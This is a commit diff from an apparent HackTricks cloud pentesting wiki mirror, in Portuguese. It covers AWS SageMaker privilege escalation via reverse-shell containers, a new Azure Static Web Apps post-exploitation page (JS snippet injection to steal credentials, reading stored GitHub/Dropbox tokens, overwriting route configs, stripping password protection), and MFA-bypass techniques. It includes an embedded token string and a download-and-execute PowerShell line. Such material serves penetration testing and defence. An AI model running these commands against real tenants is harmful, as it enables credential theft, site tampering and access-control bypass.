mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-12 15:50:19 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/
This commit is contained in:
BIN
src/images/azure_static_password.png
Normal file
BIN
src/images/azure_static_password.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 14 KiB |
@@ -17,7 +17,7 @@ A resposta deve conter um campo `NotebookInstanceArn`, que conterá o ARN da nov
|
||||
aws sagemaker create-presigned-notebook-instance-url \
|
||||
--notebook-instance-name <name>
|
||||
```
|
||||
Navegue até a URL com o navegador e clique em \`Open JupyterLab\` no canto superior direito, depois role para baixo até a aba “Launcher” e na seção “Other”, clique no botão “Terminal”.
|
||||
Navegue até a URL com o navegador e clique em \`Open JupyterLab\` no canto superior direito, depois role para baixo até a aba “Launcher” e, na seção “Other”, clique no botão “Terminal”.
|
||||
|
||||
Agora é possível acessar as credenciais de metadados da IAM Role.
|
||||
|
||||
@@ -25,7 +25,7 @@ Agora é possível acessar as credenciais de metadados da IAM Role.
|
||||
|
||||
### `sagemaker:CreatePresignedNotebookInstanceUrl`
|
||||
|
||||
Se houver **notebooks Jupyter já em execução** nele e você puder listá-los com `sagemaker:ListNotebookInstances` (ou descobri-los de qualquer outra forma). Você pode **gerar uma URL para eles, acessá-los e roubar as credenciais conforme indicado na técnica anterior**.
|
||||
Se houver **notebooks Jupyter já em execução** e você puder listá-los com `sagemaker:ListNotebookInstances` (ou descobri-los de qualquer outra forma). Você pode **gerar uma URL para eles, acessá-los e roubar as credenciais conforme indicado na técnica anterior**.
|
||||
```bash
|
||||
aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>
|
||||
```
|
||||
@@ -71,7 +71,7 @@ Um atacante com essas permissões será capaz de criar um trabalho de treinament
|
||||
> cd /tmp/rev
|
||||
> sudo docker build . -t reverseshell
|
||||
>
|
||||
> # Enviar para ECR
|
||||
> # Enviar para o ECR
|
||||
> sudo docker login -u AWS -p $(aws ecr get-login-password --region <region>) <id>.dkr.ecr.<region>.amazonaws.com/<repo>
|
||||
> sudo docker tag reverseshell:latest <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
|
||||
> sudo docker push <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
|
||||
@@ -95,7 +95,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
|
||||
### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`
|
||||
|
||||
Um atacante com essas permissões poderá (potencialmente) criar um **trabalho de treinamento de hiperparâmetros**, **executando um contêiner arbitrário** nele com um **papel anexado**.\
|
||||
&#xNAN;_I não explorei devido à falta de tempo, mas parece semelhante aos exploits anteriores, sinta-se à vontade para enviar um PR com os detalhes da exploração._
|
||||
_Eu não explorei devido à falta de tempo, mas parece semelhante às explorações anteriores, sinta-se à vontade para enviar um PR com os detalhes da exploração._
|
||||
|
||||
## Referências
|
||||
|
||||
|
||||
@@ -0,0 +1,162 @@
|
||||
# Az - Static Web Apps Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure Static Web Apps
|
||||
|
||||
Para mais informações sobre este serviço, consulte:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-static-web-apps.md
|
||||
{{#endref}}
|
||||
|
||||
### Microsoft.Web/staticSites/snippets/write
|
||||
|
||||
É possível fazer uma página da web estática carregar código HTML arbitrário criando um snippet. Isso poderia permitir que um atacante injetasse código JS dentro do aplicativo da web e roubasse informações sensíveis, como credenciais ou chaves mnemônicas (em carteiras web3).
|
||||
|
||||
O seguinte comando cria um snippet que sempre será carregado pelo aplicativo da web::
|
||||
```bash
|
||||
az rest \
|
||||
--method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"name": "supersnippet",
|
||||
"location": "Body",
|
||||
"applicableEnvironmentsMode": "AllEnvironments",
|
||||
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
|
||||
"environments": [],
|
||||
"insertBottom": false
|
||||
}
|
||||
}'
|
||||
```
|
||||
### Ler Credenciais de Terceiros Configuradas
|
||||
|
||||
Conforme explicado na seção App Service:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-app-services-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
Executando o seguinte comando, é possível **ler as credenciais de terceiros** configuradas na conta atual. Observe que, se por exemplo, algumas credenciais do Github estiverem configuradas em um usuário diferente, você não poderá acessar o token de um diferente.
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
|
||||
```
|
||||
Este comando retorna tokens para Github, Bitbucket, Dropbox e OneDrive.
|
||||
|
||||
Aqui estão alguns exemplos de comandos para verificar os tokens:
|
||||
```bash
|
||||
# GitHub – List Repositories
|
||||
curl -H "Authorization: token <token>" \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
https://api.github.com/user/repos
|
||||
|
||||
# Bitbucket – List Repositories
|
||||
curl -H "Authorization: Bearer <token>" \
|
||||
-H "Accept: application/json" \
|
||||
https://api.bitbucket.org/2.0/repositories
|
||||
|
||||
# Dropbox – List Files in Root Folder
|
||||
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
|
||||
-H "Authorization: Bearer <token>" \
|
||||
-H "Content-Type: application/json" \
|
||||
--data '{"path": ""}'
|
||||
|
||||
# OneDrive – List Files in Root Folder
|
||||
curl -H "Authorization: Bearer <token>" \
|
||||
-H "Accept: application/json" \
|
||||
https://graph.microsoft.com/v1.0/me/drive/root/children
|
||||
```
|
||||
### Sobrescrever arquivo - Sobrescrever rotas, HTML, JS...
|
||||
|
||||
É possível **sobrescrever um arquivo dentro do repositório do Github** que contém o aplicativo através do Azure, enviando um pedido como o seguinte, que indicará o caminho do arquivo a ser sobrescrito, o conteúdo do arquivo e a mensagem de commit.
|
||||
|
||||
Isso pode ser explorado por atacantes para basicamente **mudar o conteúdo do aplicativo web** para servir conteúdo malicioso (roubar credenciais, chaves mnemônicas...) ou apenas para **redirecionar certos caminhos** para seus próprios servidores ao sobrescrever o arquivo `staticwebapp.config.json`.
|
||||
|
||||
> [!WARNING]
|
||||
> Note que se um atacante conseguir comprometer o repositório do Github de qualquer forma, ele também pode sobrescrever o arquivo diretamente do Github.
|
||||
```bash
|
||||
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"commit": {
|
||||
"message": "Update static web app route configuration",
|
||||
"branchName": "main",
|
||||
"committer": {
|
||||
"name": "Azure App Service",
|
||||
"email": "donotreply@microsoft.com"
|
||||
},
|
||||
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
|
||||
"filePath": "staticwebapp.config.json",
|
||||
"message": "Update static web app route configuration",
|
||||
"repoName": "carlospolop/my-first-static-web-app",
|
||||
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
|
||||
},
|
||||
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
|
||||
}'
|
||||
```
|
||||
### Microsoft.Web/staticSites/config/write
|
||||
|
||||
Com esta permissão, é possível **modificar a senha** que protege um aplicativo web estático ou até mesmo desproteger todos os ambientes enviando uma solicitação como a seguinte:
|
||||
```bash
|
||||
# Change password
|
||||
az rest --method put \
|
||||
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
|
||||
--headers 'Content-Type=application/json' \
|
||||
--body '{
|
||||
"name": "basicAuth",
|
||||
"type": "Microsoft.Web/staticSites/basicAuth",
|
||||
"properties": {
|
||||
"password": "SuperPassword123.",
|
||||
"secretUrl": "",
|
||||
"applicableEnvironmentsMode": "AllEnvironments"
|
||||
}
|
||||
}'
|
||||
|
||||
# Remove the need of a password
|
||||
az rest --method put \
|
||||
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
|
||||
--headers 'Content-Type=application/json' \
|
||||
--body '{
|
||||
"name": "basicAuth",
|
||||
"type": "Microsoft.Web/staticSites/basicAuth",
|
||||
"properties": {
|
||||
"secretUrl": "",
|
||||
"applicableEnvironmentsMode": "SpecifiedEnvironments",
|
||||
"secretState": "None"
|
||||
}
|
||||
}'
|
||||
```
|
||||
### Microsoft.Web/staticSites/listSecrets/action
|
||||
|
||||
Esta permissão permite obter o **token de implantação da chave API** para o aplicativo estático.
|
||||
|
||||
Este token permite implantar o aplicativo.
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
|
||||
```
|
||||
Então, para atualizar um aplicativo, você pode executar o seguinte comando. Observe que este comando foi extraído verificando **como o Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) funciona**, pois é o que a Azure definiu como padrão para usar. Portanto, a imagem e os parâmetros podem mudar no futuro.
|
||||
|
||||
1. Baixe o repositório [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (ou qualquer outro repositório que você queira implantar) e execute `cd react-basic`.
|
||||
2. Altere o código que você deseja implantar
|
||||
3. Implemente-o executando (lembre-se de alterar o `<api-token>`):
|
||||
```bash
|
||||
docker run -it --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
|
||||
```
|
||||
### Microsoft.Web/staticSites/write
|
||||
|
||||
Com esta permissão, é possível **mudar a fonte do aplicativo web estático para um repositório Github diferente**, no entanto, não será provisionado automaticamente, pois isso deve ser feito a partir de uma Github Action, geralmente com o token que autorizou a ação, já que esse token não é atualizado automaticamente dentro dos segredos do Github do repositório (ele é apenas adicionado automaticamente quando o aplicativo é criado).
|
||||
```bash
|
||||
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
|
||||
```
|
||||
### Microsoft.Web/staticSites/resetapikey/action
|
||||
|
||||
Com esta permissão, é possível **reiniciar a chave da API do aplicativo web estático**, potencialmente causando DoS nos fluxos de trabalho que implantam automaticamente o aplicativo.
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -9,7 +9,7 @@ As políticas de acesso condicional basicamente **definem** **Quem** pode acessa
|
||||
|
||||
Aqui estão alguns exemplos:
|
||||
|
||||
1. **Política de Risco de Login**: Esta política pode ser configurada para exigir autenticação multifator (MFA) quando um risco de login é detectado. Por exemplo, se o comportamento de login de um usuário for incomum em comparação com seu padrão regular, como fazer login de um país diferente, o sistema pode solicitar autenticação adicional.
|
||||
1. **Política de Risco de Login**: Esta política pode ser configurada para exigir autenticação multifatorial (MFA) quando um risco de login é detectado. Por exemplo, se o comportamento de login de um usuário for incomum em comparação com seu padrão regular, como fazer login de um país diferente, o sistema pode solicitar autenticação adicional.
|
||||
2. **Política de Conformidade de Dispositivos**: Esta política pode restringir o acesso aos serviços do Azure apenas a dispositivos que estejam em conformidade com os padrões de segurança da organização. Por exemplo, o acesso pode ser permitido apenas a dispositivos que tenham software antivírus atualizado ou que estejam executando uma versão específica do sistema operacional.
|
||||
|
||||
## Bypasses de Políticas de Acesso Condicional
|
||||
@@ -23,7 +23,7 @@ Também é necessário configurar as **condições** que irão **disparar** a po
|
||||
- **Rede**: IP, intervalos de IP e localizações geográficas
|
||||
- Pode ser contornada usando um VPN ou Proxy para se conectar a um país ou conseguindo fazer login a partir de um endereço IP permitido
|
||||
- **Riscos da Microsoft**: Risco do usuário, risco de login, risco interno
|
||||
- **Plataformas de dispositivos**: Qualquer dispositivo ou selecionar Android, iOS, Windows Phone, Windows, macOS, Linux
|
||||
- **Plataformas de dispositivos**: Qualquer dispositivo ou selecionar Android, iOS, Windows phone, Windows, macOS, Linux
|
||||
- Se “Qualquer dispositivo” não estiver selecionado, mas todas as outras opções estiverem selecionadas, é possível contorná-la usando um user-agent aleatório não relacionado a essas plataformas
|
||||
- **Aplicativos cliente**: As opções são “Navegador”, “Aplicativos móveis e clientes de desktop”, “Clientes Exchange ActiveSync” e “Outros clientes”
|
||||
- Para contornar o login com uma opção não selecionada
|
||||
@@ -31,24 +31,24 @@ Também é necessário configurar as **condições** que irão **disparar** a po
|
||||
- **Fluxos de autenticação**: As opções são “Fluxo de código de dispositivo” e “Transferência de autenticação”
|
||||
- Isso não afetará um atacante, a menos que ele esteja tentando abusar de qualquer um desses protocolos em uma tentativa de phishing para acessar a conta da vítima
|
||||
|
||||
Os possíveis **resultados** são: Bloquear ou Conceder acesso com condições potenciais como exigir MFA, dispositivo em conformidade...
|
||||
Os possíveis **resultados** são: Bloquear ou Conceder acesso com condições potenciais como exigir MFA, dispositivo em conformidade…
|
||||
|
||||
### Plataformas de Dispositivos - Condição de Dispositivo
|
||||
|
||||
É possível definir uma condição com base na **plataforma do dispositivo** (Android, iOS, Windows, macOS...), no entanto, isso é baseado no **user-agent**, então é fácil de contornar. Mesmo **fazendo todas as opções exigirem MFA**, se você usar um **user-agent que não é reconhecido**, você poderá contornar o MFA ou bloqueio:
|
||||
É possível definir uma condição com base na **plataforma do dispositivo** (Android, iOS, Windows, macOS...), no entanto, isso é baseado no **user-agent**, então é fácil de contornar. Mesmo **fazendo todas as opções exigirem MFA**, se você usar um **user-agent que não é reconhecido,** você poderá contornar o MFA ou bloqueio:
|
||||
|
||||
<figure><img src="../../../../images/image (352).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Basta fazer o navegador **enviar um user-agent desconhecido** (como `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) para não disparar essa condição.\
|
||||
Você pode alterar o user-agent **manualmente** nas ferramentas de desenvolvedor:
|
||||
Você pode alterar o user agent **manualmente** nas ferramentas de desenvolvedor:
|
||||
|
||||
<figure><img src="../../../../images/image (351).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
 Ou usar uma [extensão de navegador como esta](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en).
|
||||
Ou usar uma [extensão de navegador como esta](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en).
|
||||
|
||||
### Localizações: Países, intervalos de IP - Condição de Dispositivo
|
||||
|
||||
Se isso estiver configurado na política condicional, um atacante poderia simplesmente usar um **VPN** no **país permitido** ou tentar encontrar uma maneira de acessar a partir de um **endereço IP permitido** para contornar essas condições.
|
||||
Se isso estiver configurado na política condicional, um atacante pode simplesmente usar um **VPN** no **país permitido** ou tentar encontrar uma maneira de acessar a partir de um **endereço IP permitido** para contornar essas condições.
|
||||
|
||||
### Aplicativos em Nuvem
|
||||
|
||||
@@ -56,8 +56,8 @@ Se isso estiver configurado na política condicional, um atacante poderia simple
|
||||
|
||||
<figure><img src="../../../../images/image (353).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Para tentar contornar essa proteção, você deve ver se consegue **acessar apenas qualquer aplicativo**.\
|
||||
A ferramenta [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) tem **dezenas de IDs de aplicativos codificados** e tentará fazer login neles e informá-lo, e até mesmo fornecer o token se for bem-sucedido.
|
||||
Para tentar contornar essa proteção, você deve ver se consegue **acessar qualquer aplicativo**.\
|
||||
A ferramenta [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) tem **dezenas de IDs de aplicativos codificados** e tentará fazer login neles e informá-lo, e até fornecerá o token se for bem-sucedido.
|
||||
|
||||
Para **testar IDs de aplicativos específicos em recursos específicos**, você também pode usar uma ferramenta como:
|
||||
```bash
|
||||
@@ -69,7 +69,7 @@ Além disso, também é possível proteger o método de login (por exemplo, se v
|
||||
|
||||
A ferramenta [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) também pode ser usada para propósitos semelhantes, embora pareça não estar mantida.
|
||||
|
||||
A ferramenta [**ROPCI**](https://github.com/wunderwuzzi23/ropci) também pode ser usada para testar essas proteções e ver se é possível contornar os MFAs ou bloqueios, mas essa ferramenta funciona a partir de uma perspectiva **whitebox**. Você primeiro precisa baixar a lista de aplicativos permitidos no inquilino e, em seguida, tentará fazer login neles.
|
||||
A ferramenta [**ROPCI**](https://github.com/wunderwuzzi23/ropci) também pode ser usada para testar essas proteções e ver se é possível contornar os MFAs ou bloqueios, mas essa ferramenta funciona a partir de uma perspectiva **whitebox**. Você primeiro precisa baixar a lista de aplicativos permitidos no locatário e, em seguida, tentará fazer login neles.
|
||||
|
||||
## Outros Bypasses de Az MFA
|
||||
|
||||
@@ -104,7 +104,7 @@ Encontre mais informações sobre esse tipo de ataque na seguinte página:
|
||||
|
||||
### [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep)
|
||||
|
||||
Este script obtém algumas credenciais de usuário e verifica se é possível fazer login em algumas aplicações.
|
||||
Este script obtém algumas credenciais de usuário e verifica se pode fazer login em algumas aplicações.
|
||||
|
||||
Isso é útil para ver se você **não precisa de MFA para fazer login em algumas aplicações** que você pode posteriormente abusar para **escalar privilégios**.
|
||||
|
||||
@@ -116,7 +116,7 @@ roadrecon plugin policies
|
||||
```
|
||||
### [Invoke-MFASweep](https://github.com/dafthack/MFASweep)
|
||||
|
||||
MFASweep é um script PowerShell que tenta **fazer login em vários serviços da Microsoft usando um conjunto fornecido de credenciais e tentará identificar se o MFA está habilitado**. Dependendo de como as políticas de acesso condicional e outras configurações de autenticação multifatorial estão configuradas, alguns protocolos podem acabar sendo deixados como fator único. Ele também possui uma verificação adicional para configurações de ADFS e pode tentar fazer login no servidor ADFS local se detectado.
|
||||
MFASweep é um script PowerShell que tenta **fazer login em vários serviços da Microsoft usando um conjunto de credenciais fornecido e tentará identificar se o MFA está habilitado**. Dependendo de como as políticas de acesso condicional e outras configurações de autenticação multifatorial estão configuradas, alguns protocolos podem acabar sendo deixados como fator único. Ele também possui uma verificação adicional para configurações de ADFS e pode tentar fazer login no servidor ADFS local se detectado.
|
||||
```bash
|
||||
Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
|
||||
Invoke-MFASweep -Username <username> -Password <pass>
|
||||
|
||||
@@ -0,0 +1,109 @@
|
||||
# Az - Static Web Apps
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Informações Básicas sobre Aplicativos Web Estáticos
|
||||
|
||||
Azure Static Web Apps é um serviço de nuvem para hospedar **aplicativos web estáticos com CI/CD automático de repositórios como GitHub**. Ele oferece entrega de conteúdo global, backends sem servidor e HTTPS integrado, tornando-o seguro e escalável. No entanto, os riscos incluem CORS mal configurado, autenticação insuficiente e manipulação de conteúdo, que podem expor aplicativos a ataques como XSS e vazamento de dados se não forem gerenciados adequadamente.
|
||||
|
||||
> [!TIP]
|
||||
> Quando um Aplicativo Estático é criado, você pode escolher a **política de autorização de implantação** entre **Token de implantação** e **fluxo de trabalho do GitHub Actions**.
|
||||
|
||||
|
||||
### Autenticação de Aplicativos Web
|
||||
|
||||
É possível **configurar uma senha** para acessar o Aplicativo Web. O console da web permite configurá-la para proteger apenas ambientes de staging ou tanto o staging quanto o de produção.
|
||||
|
||||
É assim que, no momento da escrita, um aplicativo web protegido por senha se parece:
|
||||
|
||||
<figure><img src="../../../images/azure_static_password.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
||||
É possível ver **se alguma senha está sendo usada** e quais ambientes estão protegidos com:
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "/subscriptions/<subscription-id>/resourceGroups/Resource_Group_1/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2024-04-01"
|
||||
```
|
||||
No entanto, isso **não mostrará a senha em texto claro**, apenas algo como: `"password": "**********************"`.
|
||||
|
||||
### Rotas
|
||||
|
||||
As rotas definem **como as solicitações HTTP recebidas são tratadas** dentro de um aplicativo web estático. Configuradas no arquivo **`staticwebapp.config.json`**, elas controlam reescrita de URL, redirecionamentos, restrições de acesso e autorização baseada em função, garantindo o manuseio adequado de recursos e segurança.
|
||||
|
||||
Alguns exemplos:
|
||||
```json
|
||||
{
|
||||
"routes": [
|
||||
{
|
||||
"route": "/",
|
||||
"rewrite": "/index.html"
|
||||
},
|
||||
{
|
||||
"route": "/about",
|
||||
"rewrite": "/about.html"
|
||||
},
|
||||
{
|
||||
"route": "/api/*",
|
||||
"allowedRoles": ["authenticated"]
|
||||
},
|
||||
{
|
||||
"route": "/admin",
|
||||
"redirect": "/login",
|
||||
"statusCode": 302
|
||||
}
|
||||
],
|
||||
"navigationFallback": {
|
||||
"rewrite": "/index.html",
|
||||
"exclude": ["/api/*", "/assets/*"]
|
||||
}
|
||||
}
|
||||
```
|
||||
## Enumeração
|
||||
```bash
|
||||
# List Static Webapps
|
||||
az staticwebapp list --output table
|
||||
|
||||
# Get Static Webapp details
|
||||
az staticwebapp show --name <name> --resource-group <res-group> --output table
|
||||
|
||||
# Get appsettings
|
||||
az staticwebapp appsettings list --name <name>
|
||||
|
||||
# Get env information
|
||||
az staticwebapp environment list --name <name>
|
||||
az staticwebapp environment functions --name <name>
|
||||
|
||||
# Get API key
|
||||
az staticwebapp secrets list --name <name>
|
||||
|
||||
# Get invited users
|
||||
az staticwebapp users list --name <name>
|
||||
|
||||
# Get database connections
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/databaseConnections?api-version=2021-03-01"
|
||||
|
||||
## Once you have the database connection name ("default" by default) you can get the connection string with the credentials
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/databaseConnections/default/show?api-version=2021-03-01"
|
||||
```
|
||||
## Exemplos para gerar Aplicativos Web
|
||||
|
||||
Você pode encontrar um bom exemplo para gerar um aplicativo web no seguinte link: [https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github](https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github)
|
||||
|
||||
1. Faça um fork do repositório https://github.com/staticwebdev/react-basic/generate para sua conta do GitHub e nomeie-o como `my-first-static-web-app`
|
||||
2. No portal do Azure, crie um Static Web App configurando o acesso ao Github e selecionando o novo repositório que você forkou anteriormente
|
||||
3. Crie-o, aguarde alguns minutos e verifique sua nova página!
|
||||
|
||||
## Pós Exploração
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-static-web-apps-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## Referências
|
||||
|
||||
- [https://learn.microsoft.com/en-in/azure/app-service/overview](https://learn.microsoft.com/en-in/azure/app-service/overview)
|
||||
- [https://learn.microsoft.com/en-us/azure/app-service/overview-hosting-plans](https://learn.microsoft.com/en-us/azure/app-service/overview-hosting-plans)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user